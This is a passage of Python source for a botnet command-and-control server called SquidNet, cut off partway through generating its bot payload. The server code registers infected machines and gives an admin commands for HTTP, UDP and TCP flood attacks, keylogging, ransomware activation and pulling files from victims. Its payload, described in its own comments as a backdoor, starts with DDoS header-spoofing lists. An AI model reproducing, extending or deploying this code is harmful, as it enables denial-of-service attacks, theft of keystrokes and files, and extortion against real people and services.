user can get a sense of the problem.""" working = False try: self.server.bind((self.ip, self.port)) working = True except Exception as e: self.log(f"[({datetime.datetime.today()})][(ERROR)]: There was an error with binding the server: {e}. Try to change some of the variables in the Config files if needed.") if working: self.listener = threading.Thread(target=self.listen).start() def conn_persec_timer(self): """Function used for the not-so-perfect Anti-DDoS System. It measure the connections per second, and decides whether to take action against them(by that I mean banning them).""" while True: time.sleep(1) self.timer += 1 if self.connpersec >= self.max_connpersec: self.connpersec = self.max_connpersec + 5 if self.max_connpersec <= self.connpersec: self.timetoautoban += 1 if not self.auto_ban and self.timetoautoban >= 2: self.log(f"[({datetime.datetime.today()})][(ANTI_DDOS)]: Setting 'self.auto_ban' variable to: True") self.auto_ban = True else: if self.auto_ban: self.log(f"[({datetime.datetime.today()})][(ANTI_DDOS)]: Setting 'self.auto_ban' variable to: False") self.auto_ban = False self.timetoautoban = 0 if self.timer >= 60: self.timer = 1 self.connpersec = 1 self.conncount = 0 try: self.connpersec = self.conncount / self.timer except: pass def config_conn_vars(self): """Optimization code made for less repitition.""" self.connpersec = self.conncount / self.timer if self.connpersec >= self.max_connpersec: self.connpersec = self.max_connpersec + 5 self.conncount += 1 if self.max_connpersec <= self.connpersec: if not self.auto_ban and self.timetoautoban >= 2: self.log(f"[({datetime.datetime.today()})][(ANTI_DDOS)]: Setting 'self.auto_ban' variable to: True") self.auto_ban = True else: if self.auto_ban: self.log(f"[({datetime.datetime.today()})][(ANTI_DDOS)]: Setting 'self.auto_ban' variable to: False") self.auto_ban = False self.timetoautoban = 0 def listen(self): """A very important function for the server. It listens to all of the connections, if it is able to, as the 'self.listening' variable can be toggled on and off, making the server unable to listen for connections. It also has some of the Anti-DDoS code, where it also closes any connections inside of the banlist, and allows connections in the whitelist into the server without any interruption.""" self.log(f'[({datetime.datetime.today()})][(LISTEN)]: Server is listening.....') self.listening = True connpersectimer = threading.Thread(target=self.conn_persec_timer) connpersectimer.start() while True: if self.listening: try: self.server.listen() conn, ip = self.server.accept() if self.connpersec >= self.max_connpersec: self.connpersec = self.max_connpersec + 5 if self.listening: kicked = False if ip[0] in self.return_iplist("ban"): conn.close() kicked = True else: if self.auto_ban: if ip[0] in self.return_iplist("allow"): self.config_conn_vars() else: self.log(f"[({datetime.datetime.today()})][(BANNING_IP)]: {ip[0]} attempted to join the server during the DDoS Attack, banning as a precaution.") self.add_ip(ip[0],"ban") conn.close() kicked = True else: self.config_conn_vars() if not kicked: conn.send(f"SquidNet Server v{self.version}".encode()) handler = threading.Thread(target=self.handle, args=(conn, ip)) handler.start() else: conn.close() except Exception as e: self.log(f"[({datetime.datetime.today()})][(ERROR)]: There was an error with listening for connections: {e}") def obtain_botname_list(self): botnames = [] for i in self.botinfo: botnames.append(i[0]) return botnames def parse_info_msg(self, infomsg, conn, srcport): """There is a message sent by every client to the server, which would contain information about them. This include their hostname, IP Address, User, and Operating System. This is mainly for the bots, so that the admin would have a sense of the computer they have take control of. It returns a list of all of the information, to be used later.""" try: name = f"{infomsg.split()[1]}{self.botnum}" except: name = f"Bot{self.botnum}" self.botnum += 1 try: ip = infomsg.split()[2] except: ip = "127.0.0.1" try: osuser = infomsg.split()[3] except: osuser = "Unknown" try: os = infomsg.split()[4] except: os = "Unknown" self.botnum += 1 ogcontent = open(self.botinfofile,"r") content = ogcontent.read() file = open(self.botinfofile,"w") file.write(content) file.write(f"\n[+] Botname: {name}\n[+] IP: {ip}\n[+] Src Port: {srcport}\n[+] User: {osuser}\n[+] OS: {os}\n[+] Conn: {conn}\n") file.close() return [name, ip, srcport, osuser, os, conn] def get_filename(self, msg): """When there is a file trying to be provided for file transfering(etc), there might be files with names with spaces in them. This is a problem with my old system of file name obtaining, as the filenames with spaces would only have the first word of the file used to create or do something with said file. This function fixes that problem, by returning the actual name of the file.""" msg = msg.split() del msg[0] filename = "" for i in msg: filename += f" {i}" return filename.strip() def log(self, logitem, display=True): """Important function, needed for logging. This is so that the Server Owner can see what happened in the server, in case of a crash or bug that needed to be fixed. This helps, as all of the output in the server is the same as the output in the log file. The server owner would be able to see any bugs or issues, or easily anything that happened in the server at all. However, the log file is wiped everytime the server restarts(I can easily change that, you can contact me if you want that to happen).""" content = "" if display: print(logitem) try: file = open(self.logfile, "r") content = file.read() file.close() except Exception as e: print(f"[({datetime.datetime.today()})][(RESETLOG)]: Error with Log file '{self.logfile}': {e}, reconfiguring as a precaution.") content = f"""{self.logo()}\n[({datetime.datetime.today()})][(RESETLOG)]: Error with Log file '{self.logfile}': {e}, reconfiguring as a precaution.""" file = open(self.logfile,"w") file.write(content+"\n"+logitem) file.close() def send_to_other(self, sender, reciever, msg, recieverconn, send_raw=False): """Code for optimizing sending and logging at the same time. It logs the message that is being sent, and it also sends the message to the connection that the sender its trying to send to.""" item = f"[({datetime.datetime.today()})][({sender})--->({reciever})]: {msg}" self.log(item) if not send_raw: recieverconn.send(f"\n[({sender})]: {msg}".encode()) else: recieverconn.send(msg.encode()) def send_file(self, filename, conn): """Function needed for FTP. It sends all of the bytes of the file being transferred to the specified connection, which in this case it will be the server admin due to the function only being used in the transferring of files from the server to the server admin.""" self.sending_file = True transferred = True try: file = open(os.path.join(os.getcwd(),os.path.join(self.ftp_dir,filename)), "rb") length = len(open(file.name,"rb").read()) except Exception as e: transferred = False length = 0 conn.send(f"!filesize {length}".encode()) time.sleep(2) while True: try: sendto = file.read(10240) if not sendto: break else: conn.send(sendto) except Exception as e: print(e) break if transferred: time.sleep(1) self.send_to_other("SERVER",self.admin_username,"File Transfer completed.", conn) def handle(self, conn, ip): """Very important function, needed for handling the connections of the clients. The way a bot is recognized is quite simple really. There are many variables that help with the process. The handler first uses the information packet(the one with all of the client information), to see if the bot is a bot or a fake bot. If the information packet is invalid(if it does not start with '!botreg'), the connection will be simply closed. If the packet is valid, the Bot will have the ability to become an admin(if they have the correct credentials). If they are not an admin, they cannot do anything to take control of the server, but simply be able to send messages around to the admin and server. If the Bot is trying to be an admin, they can send an authentication message(in this case its '!login') followed by the credentials. These credentials are not displayed on the log. For authentication to happen. The username is checked with the server variable to see if they match. If they do, now the passwords need to match. There is password hashing in the server(sha256 hashing algorithm), for further security and to prevent any breaches. The password provided would be hashed into sha256, to see if it matches with the hashed password that the server has. It these all match, access is granted to the admin, where they can now do whatever they want with the bots, whether good or bad. There are many things to do with the assortment of commands that are provided.""" bot = False name = ip admin = False registered = False filesize = 0 bytesrecv = 0 while True: try: display_single_msg = True msg_from_bot = conn.recv(10240) try: msg = str(msg_from_bot.decode()).strip() except: msg = str(msg) if msg.strip() != "": if not bot: info_packet = msg if not info_packet.startswith("!botreg"): conn.close() break else: self.connlist.append(conn) info = self.parse_info_msg(msg, conn, ip[1]) self.botinfo.append(info) name = info[0] ipaddr = info[2] if ipaddr in self.return_iplist("ban"): conn.close() break registered = True original_name = name self.log(f"[({datetime.datetime.today()})][(BOTJOIN)]: Bot {name} has joined the botnet.") try: self.adminconn.send(f"\n[(SERVER)]: Bot {name} has joined the botnet.".encode()) except: pass bot = True elif bot: if not admin: if msg.startswith("!login"): if not self.admin_online: try: username = msg.split()[1] password = msg.split()[2] if username == self.admin_username and hashlib.sha256(password.encode()).hexdigest() == self.admin_password: self.log(f"[({datetime.datetime.today()})][(INFO)]: A new admin session has been created.") name = self.admin_username admin = True self.adminconn = conn self.admin_online = True self.send_to_other("SERVER",name,"Successfully logged into the Botnet. You have access to all of the bots.", conn) self.send_to_other("SERVER",name,"Input '!help' if you need more info on the commands.", conn) for i in self.botinfo: if i[0] == original_name: self.botinfo.remove(i) break else: self.send_to_other("SERVER",name,"Authentication Failed.", conn) except: pass else: self.send_to_other("SERVER",name,"There is already an active owner session. Please wait until they log off.", conn) elif msg.startswith("!key") and self.keylogging: keystroke = msg.split()[1] keyfile = open(name+".txt","r") content = keyfile.read() keyfile.close() newkeyfile = open(name+".txt","w") newkeyfile.write(content) newkeyfile.write(f"\n[+] {keystroke}") newkeyfile.close() else: try: display_single_msg = False if not self.focusing: display_single_msg = True else: if conn == self.focus_conn: if not self.downloading: self.send_to_other(name, self.admin_username,msg, self.adminconn) else: try: if msg.startswith("!filesize"): filesize = int(msg.split()[1]) else: bytesrecv += len(msg_from_bot) self.botdownload.write(msg_from_bot) if bytesrecv >= filesize: bytesrecv = 0 filesize = 0 self.downloading = False self.botdownload.close() except Exception as e: self.botdownload.write(msg_from_bot) except: display_single_msg = True elif admin: if not self.filetransfer: if msg.startswith("!help"): self.log(f"[({datetime.datetime.today()})][(SERVER)--->({self.admin_username})]: Sent the help message.") self.adminconn.send(self.help_msg().encode()) elif msg.startswith("!startftp"): self.send_to_other("SERVER",name, "Activiting FTP mode. You will be able to get files inside of the servers directory(for ex downloaded bot Files).", conn) self.send_to_other("SERVER",name, "You can input '!help' in case you need to know what commands are there for you.", conn) self.filetransfer = True elif msg.startswith("!focusconn"): try: botname = msg.split()[1] found = False for i in self.botinfo: if i[0] == botname: self.focus_conn = i[len(i)-1] found = True if found: self.send_to_other("SERVER",name,f"You can now only see output from bot {botname}.", conn) self.focus_botname = botname self.focusing = True except: self.send_to_other("SERVER",name,"Invalid input! Here is the valid input: !focusconn <botname>", conn) elif msg.startswith("!banip"): try: banned_ip = msg.split()[1] if banned_ip in self.return_iplist("allow"): self.send_to_other("SERVER",name,f"The IP Address specified is in the whitelist! Unwhitelist it to ban it.", conn) elif banned_ip in self.return_iplist("ban"): self.send_to_other("SERVER",name,f"The IP Address specified is already in the banlist!", conn) else: self.add_ip(banned_ip, "ban") self.send_to_other("SERVER",name,f"IP Address '{banned_ip}' has been banned from the server.", conn) except: self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !banip <ip>", conn) elif msg.startswith("!unbanip"): try: unbanning_ip = msg.split()[1] if unbanning_ip not in self.return_iplist("ban"): self.send_to_other("SERVER",name,f"The IP Address specified is not in the banlist!", conn) else: self.remove_ip(unbanning_ip,"ban") self.send_to_other("SERVER",name,f"IP Address '{unbanning_ip}' has been unbanned from the server.", conn) except: self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !unbanip <ip>", conn) elif msg.startswith("!getipbanlist"): self.send_to_other("SERVER",name,f"IP Ban List: {self.return_iplist('ban')}", conn) elif msg.startswith("!getipwhitelist"): self.send_to_other("SERVER",name,f"IP White List: {self.return_iplist('allow')}", conn) elif msg.startswith("!whitelistip"): try: whitelist_ip = msg.split()[1] if whitelist_ip in self.return_iplist("allow"): self.send_to_other("SERVER",name,f"The IP Address specified is already in the whitelist!", conn) elif whitelist_ip in self.return_iplist("ban"): self.send_to_other("SERVER",name,f"The IP Address specified is in the banlist!", conn) else: self.add_ip(whitelist_ip, "allow") self.send_to_other("SERVER",name,f"IP Address '{whitelist_ip}' has been whitelisted in the server.", conn) except: self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !whitelistip <ip>", conn) elif msg.startswith("!unwhitelistip"): try: unwhitelist_ip = msg.split()[1] if unwhitelist_ip not in self.return_iplist("allow"): self.send_to_other("SERVER",name,f"The IP Address specified is not in the whitelist!", conn) else: self.remove_ip(unwhitelist_ip,"allow") self.send_to_other("SERVER",name,f"IP Address '{unwhitelist_ip}' has been unwhitelisted from the server.", conn) except: self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !unwhitelistip <ip>", conn) elif msg.startswith("!togglelisten"): if self.listening == True: self.listening = False elif self.listening == False: self.listening = True self.log(f"[({datetime.datetime.today()})][(INFO)]: Listening for connections has been set to: {self.listening}") self.adminconn.send(f"\n[(SERVER)]: Listening for connections has been set to: {self.listening}".encode()) elif msg.startswith("!stopfocus"): if not self.focusing: self.send_to_other("SERVER",name,"You are not focusing on a bot right now!", conn) else: self.focusing = False self.focus_conn = None self.send_to_other("SERVER",name,f"Stopped focusing on bot {self.focus_botname}.", conn) self.focus_botname = "" elif msg.startswith("!getbotinfo"): if len(self.botinfo) == 0: self.send_to_other("SERVER",name, "There are no bots connected to the Botnet at the moment.", conn) for bot in self.botinfo: if "closed" in str(bot[5]): self.botinfo.remove(bot) else: self.send_to_other("SERVER",name,f"Info on Bot {bot[0]} - IP: {bot[1]} Src-Port: {bot[2]} User: {bot[3]} OS: {bot[4]} Conn: {bot[5]}", self.adminconn) elif msg.startswith("!filedownload"): try: filename = self.get_filename(msg) if self.downloading: self.send_to_other("SERVER",name,"You are already downloading a file from the bot computer!", conn) else: if self.focusing: self.botdownload = open(os.path.join(os.getcwd(),f"{self.ftp_dir}/{filename}"),"wb") self.downloading = True self.send_to_other(self.admin_username,self.focus_botname,msg, self.focus_conn, True) self.send_to_other("SERVER",name,f"Attempting to download file {filename} from {self.focus_botname}. You will not be able to send instructions to any of the bots until the download finishes!", conn) else: self.send_to_other("SERVER",name,"You need to be in focus mode to be able to download files from bots(there would be a lot of traffic going on in the server)!", conn) except: self.send_to_other("SERVER",name,"Invalid input! Here is the valid input: !filedownload <filename>", conn) else: if msg.startswith("!stopatk"): if self.ddosing: if not self.focusing: self.ddosing = False self.send_to_other("SERVER",self.admin_username,"Attempting to stop all DDoS Attacks in the botnet.",self.adminconn) else: self.send_to_other("SERVER",self.admin_username,"You are in focus mode! Only the bot you are focusing will stop attacking!",self.adminconn) elif not self.ddosing: self.send_to_other("SERVER",self.admin_username,"The Bots are currently not attacking any domain.",self.adminconn) elif msg.startswith("!keylog"): self.send_to_other("SERVER",self.admin_username,"Activating Keylogger script on the bots(All of the logged keystrokes will be in a txt file with the bot's name).",self.adminconn) self.keylogging = True botnames = self.obtain_botname_list() for i in botnames: try: keylogfile = open(f"{i}.txt","r") except: keylogfile = open(f"{i}.txt","w") keylogfile.write(f"\nLOGGED KEYSTROKES FOR BOT {i}\n") keylogfile.close() elif msg.startswith("!stopkeylog"): self.keylogging = False self.send_to_other("SERVER",self.admin_username,"Deactivating Keylogger script on the bots.",self.adminconn) elif msg.startswith("!ransomware"): if self.ransomware_active: if self.focusing: self.send_to_other("SERVER",name,"Only the bot in focus mode has had the ransomware program activated!", conn) else: self.send_to_other("SERVER",name,"Ransomware programs are activating!", conn) self.send_to_other("SERVER",name,"Payloads are effective!", conn) else: self.send_to_other("SERVER",name,"The ransomware has been disabled in the config file. Turn the value assigned to 'ransomware_active' to 't'", conn) elif msg.startswith("!download"): try: filename = msg.split()[1] website = msg.split()[2] self.send_to_other("SERVER",self.admin_username,f"Making the bots download contents from '{website}' into file {filename}",self.adminconn) except: self.send_to_other("SERVER",name,"Invalid input! Here is the valid input: !download <filename> <website>", conn) elif msg.startswith('!httpflood'): if self.ddosing: self.send_to_other("SERVER",self.admin_username,"There is already an ongoing DDoS Attack! Please stop the attack if you want to start a new one(input '!stopatk').",self.adminconn) else: msgtobot = msg.split() if self.focusing: self.send_to_other("SERVER",self.admin_username,"You are in focus mode! Only the bot you are focusing will start attacking!",self.adminconn) else: self.ddosing = True try: targ_website = msgtobot[1] atk_delay = float(msgtobot[2]) self.send_to_other("SERVER",self.admin_username,f"Beginning HTTP Flood Attack on {targ_website} with delay of {atk_delay}.",self.adminconn) except: self.send_to_other("SERVER",name,"Invalid input! Here is the valid input: !httpflood <website> <atk_delay>", conn) elif msg.startswith('!udpflood') or msg.startswith("!tcpflood"): if self.ddosing: self.send_to_other("SERVER",self.admin_username,"There is already an ongoing DDoS Attack! Please stop the attack if you want to start a new one(input '!stopatk').",self.adminconn) else: if self.focusing: self.send_to_other("SERVER",self.admin_username,"You are in focus mode! Only the bot you are focusing will start attacking!",self.adminconn) else: self.ddosing = True if msg.startswith('!udpflood'): protocol = "UDP" elif msg.startswith("!tcpflood"): protocol = "TCP" msgtobot = msg.split() try: target = msgtobot[1] try: port = int(msgtobot[2]) except: port = 80 try: delay = float(msgtobot[3]) except: delay = 0 self.send_to_other("SERVER",self.admin_username,f"Beginning {protocol} Flood Attack on {target}:{port} with delay of {delay}.",self.adminconn) except: self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !{protocol.lower()}flood <ip> <port> <delay>", conn) if not self.focusing and not self.downloading: if msg.strip() != "": self.log(f"[({datetime.datetime.today()})][({self.admin_username})--->(BOTS)]: {msg}") display_single_msg = False for bot in self.connlist: try: if conn != bot: if msg.startswith("!ransomware") and not self.ransomware_active: pass else: bot.send(msg.encode()) except: pass else: if not self.downloading: if msg.strip() != "": display_single_msg = False self.log(f"[({datetime.datetime.today()})][({self.admin_username})--->({self.focus_botname})]: {msg}") self.focus_conn.send(msg.encode()) elif self.filetransfer: if msg.startswith("!help"): self.adminconn.send(self.file_tranfer_help_msg().encode()) self.log(f"[({datetime.datetime.today()})][(SERVER)--->({self.admin_username})]: Sent the FTP Help message.") elif msg.startswith("!download"): try: filename = self.get_filename(msg) try: file = open(os.path.join(os.getcwd(),f"{self.ftp_dir}/{filename}"),"rb") file.close() except: pass self.send_to_other("SERVER",name, f"Preparing to download file: {file.name}.", conn) self.send_file(filename, conn) except FileNotFoundError: self.send_to_other("SERVER",name,f"The file specified does not exist!", conn) except Exception as e: self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !download <file>", conn) elif msg.startswith("!listdir"): dirlist = os.listdir(path=os.path.join(os.getcwd(), self.ftp_dir)) self.send_to_other("SERVER",name,f"Files extracted from bots: {dirlist}",conn) elif msg.startswith("!stopftp"): self.send_to_other("SERVER",name,"De-Activating FTP Mode. Returning to the Botnet. You will be able to send commands to the bots.",conn) self.filetransfer = False if display_single_msg: if not msg.startswith("!login"): if not msg.startswith("!key") and msg.strip() != "": self.log(f"[({datetime.datetime.today()})][({name})]: {msg}") if conn != self.adminconn: self.adminconn.send(f"\n[({name})]: {msg}".encode()) else: self.log(f"[({datetime.datetime.today()})][({name})]: Attempting to log into the Admin Account.") except Exception as e: if registered: self.log(f"[({datetime.datetime.today()})][(ERROR)]: Closing connection with {name} due to error: {e}") if conn == self.adminconn: self.log(f"[({datetime.datetime.today()})][(INFO)]: The admin has left the Botnet.") self.adminconn = None self.admin_online = False else: try: if registered: self.adminconn.send(f"[(SERVER)]: {name} has disconnected from the Botnet.".encode()) except: pass if conn == self.focus_conn: self.send_to_other("SERVER",self.admin_username,f"The Bot you were focusing on has disconnected from the Botnet, going back to normal.", self.adminconn) self.focusing = False self.focus_conn = None self.focus_botname = "" self.downloading = False try: self.connlist.remove(conn) except: pass conn.close() break def gen_payload(self): """The Payload script is located here. It is generated based on the server variables in the '__init__' function. This is what the bots use to connect to the server. This script is really a backdoor, which opens the victim to having their computer controlled remotely by the admin. There are a lot of referer and useragent tags, and the reason for that is the DDoS Function. If the user, for whatever reason wants to commit a large scale DDoS Attack, they need to have uniqueness with the HTTP Headers, so that it could help confuse the server they are attacking, and eventually bring it down(Servers are really secure nowadays and DDoSing is illegal, so only DDoS Your own servers please). There is also all of the code needed for controlling the bot. The functions are divided into different classes, with the 3 types of DDoS Functions divided into different classes, with the main bot code in one separate class itself.""" payload = """ import socket, threading, os, sys, urllib.request, random, time, shutil, subprocess, sqlite3 try: from cryptography.fernet import Fernet from pynput.keyboard import Listener except: pass class DDoS: def __init__(self, ip, delay): self.ip = ip self.delay = delay self.stopatk = False self.useragents = self.obtain_user_agents() self.referers = self.obtain_referers() self.threader = threading.Thread(target=self.start_thr) self.threader.start() def obtain_referers(self): referers = ['http://www.google.com/?q=', 'http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..', 'http://vk.com/profile.php?redirect=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=query?=query=..', 'https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882', 'https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925', 'http://yandex.ru/yandsearch?text=', 'https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832', 'http://go.mail.ru/search?mail.ru=1&q=', 'http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..', 'http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..', 'http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..', 'http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..', 'http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..', '/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882', 'http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..', 'http://www.google.ru/url?sa=t&rct=?j&q=&e..', 'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=', 'https://www.yandex.com/yandsearch?text=', 'https://duckduckgo.com/?q=', 'http://www.ask.com/web?q=', 'http://search.aol.com/aol/search?q=', 'https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=', 'https://drive.google.com/viewerng/viewer?url=', 'http://validator.w3.org/feed/check.cgi?url=', 'http://host-tracker.com/check_page/?furl=', 'http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=', 'http://jigsaw.w3.org/css-validator/validator?uri=', 'https://add.my.yahoo.com/rss?url=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=', 'http://www.topsiteminecraft.com/site/pinterest.com/search?q=', 'http://eu.battle.net/wow/en/search?q=', 'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=', 'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=', 'http://www.ted.com/search?q=', 'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=', 'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=', 'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=', 'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=', 'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=', 'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=', 'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=', 'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=', 'http://ytmnd.com/search?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=', 'http://www.topsiteminecraft.com/site/pinterest.com/search?q=', 'http://eu.battle.net/wow/en/search?q=', 'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=', 'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=', 'http://www.ted.com/search?q=', 'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=', 'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=', 'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=', 'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=', 'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=', 'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=', 'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=', 'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=', 'http://ytmnd.com/search?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=', 'http://www.topsiteminecraft.com/site/pinterest.com/search?q=', 'http://eu.battle.net/wow/en/search?q=', 'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=', 'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=', 'http://www.ted.com/search?q=', 'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=', 'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=', 'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=', 'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=', 'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=', 'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=', 'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=', 'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=', 'http://ytmnd.com/search?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=', 'http://www.topsiteminecraft.com/site/pinterest.com/search?q=', 'http://eu.battle.net/wow/en/search?q=', 'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=', 'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=', 'http://www.ted.com/search?q=', 'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=', 'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=', 'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=', 'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=', 'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=', 'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=', 'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=', 'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=', 'http://ytmnd.com/search?q=', 'https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=', 'http://www.google.com/?q=', 'https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=', 'https://drive.google.com/viewerng/viewer?url=', 'http://www.google.com/translate?u=', 'https://developers.google.com/speed/pagespeed/insights/?url=', 'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=', 'https://add.my.yahoo.com/rss?url=', 'https://play.google.com/store/search?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q='] return referers def obtain_user_agents(self): user_agents = ['Mozilla/5.0 (Amiga; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14', 'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15', 'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14', 'Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4', 'Mozilla/5.0 (BeOS; U; BeOS BeBox; fr; rv:1.9) Gecko/2008052906 BonEcho/2.0', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.1) Gecko/20061220 BonEcho/2.0.0.1', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.10) Gecko/20071128 BonEcho/2.0.0.10', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.6) Gecko/20070731 BonEcho/2.0.0.6', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.7) Gecko/20070917 BonEcho/2.0.0.7', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 